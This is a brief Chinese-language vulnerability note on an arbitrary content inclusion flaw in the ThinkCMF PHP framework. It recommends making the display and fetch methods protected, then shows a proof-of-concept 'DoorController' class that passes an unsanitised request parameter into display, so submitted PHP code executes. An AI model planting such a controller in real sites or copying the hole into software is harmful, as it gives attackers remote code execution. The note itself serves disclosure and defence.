ThinkCMF框架上的任意内容包含漏洞(2)

将 HomebaseController.class.php 和 AdminbaseController.class.php 类中 display 和 fetch 函数的修饰符改为 protected

可通过新建如下控制类

namespace PortalController;

use ThinkController;

class DoorController extends Controller {

public function index($content) {

parent::display('', '', '',$content, '');

}

}

由于是测试，content未做任何处理，直接传输php代码即可执行。